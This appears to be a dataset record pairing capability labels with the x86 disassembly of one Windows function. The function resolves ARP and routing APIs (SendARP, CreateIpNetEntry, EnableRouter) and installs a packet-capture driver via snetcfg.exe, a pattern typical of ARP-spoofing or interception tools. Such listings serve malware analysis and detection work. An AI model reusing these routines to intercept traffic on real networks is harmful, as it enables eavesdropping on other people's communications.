Function at 0x40b950
Capabilities:
Check os version
Create process on windows
Get common file path
Link many functions at runtime
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x43ac4e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x7b0
push ebp
push esi
push edi
push 0x50
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
mov dword [esp + 0xc], esi
xor ebp, ebp
cmp esi, ebp
mov dword [esp + 0x7c4], ebp
je 0x40b9f3
lea ecx, [esi + 0x1c]
call fcn.00432720
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateIpNetEntry
push eax
mov dword [esi], eax
call edi
mov dword [esi + 4], eax
mov eax, dword [esi]
push str.SendARP
push eax
call edi
mov ecx, dword [esi]
push str.EnableRouter
push ecx
mov dword [esi + 8], eax
call edi
mov edx, dword [esi]
push str.UnenableRouter
push edx
mov dword [esi + 0xc], eax
call edi
mov dword [esi + 0x10], eax
mov eax, dword [esi]
push str.GetAdaptersInfo
push eax
call edi
mov dword [esi + 0x14], eax
or eax, 0xffffffff
mov dword [esi + 0x4c], ebp
mov dword [esi + 0x48], eax
mov dword [esi + 0x18], eax
mov ebp, esi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x14]
push ebx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov dword [esp + 0x7c8], 0xffffffff
push ecx
mov dword [esp + 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x1c], 6
jae 0x40bbfc
mov dl, byte [0x445264]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xad]
mov byte [esp + 0xac], dl
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
lea ecx, [esp + 0xac]
push eax
push ecx
push edx
push str.Test
push str.SYSTEMCurrentControlSetServicesPacketParameters
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x2c], 0x104
mov dword [esp + 0x28], 1
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x40bb1d
call fcn.004325d0
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x4b4]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x5bc]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x3b8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x5bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x4b4]
push 0
push ecx
push 0x104
push str.Packet.inf
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea edx, [esp + 0x4b4]
lea eax, [esp + 0x3b4]
push edx
push str.snetcfg.exe__v__l___s___c_p__i_ms_packet
push 0x100
push eax
call fcn.00421960
add esp, 0x10
lea ecx, [esp + 0x3b4]
push 0
jmp 0x40bbcb
mov edi, str.Hello
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0xac]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.Hello
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40bbe0
call fcn.004325d0
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x2b0]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x6c0]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x1b4]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x2b0]
push 0
push ecx
push 0x104
push str.Packet.inf
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea edx, [esp + 0x2b0]
lea eax, [esp + 0x1b0]
push edx
push str.snetcfg.exe__v__l___s___c_p__i_ms_packet
push 0x100
push eax
call fcn.00421960
add esp, 0x10
lea ecx, [esp + 0x1b0]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e8
call ebx
push 0x3e8
call ebx
call fcn.00432530
test eax, eax
jne 0x40bbfc
mov ecx, ebp
call fcn.00408ca0
push 0x3e8
call ebx
call fcn.00432530
test ebp, ebp
pop ebx
je 0x40bc3c
mov eax, dword [ebp + 0x48]
cmp eax, 0xffffffff
je 0x40bc10
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov edx, dword [ebp]
mov dword [ebp + 0x4c], 1
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x1c]
call fcn.00432730
push ebp
call fcn.0043a372
add esp, 4
mov ecx, dword [esp + 0x7bc]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x7bc
ret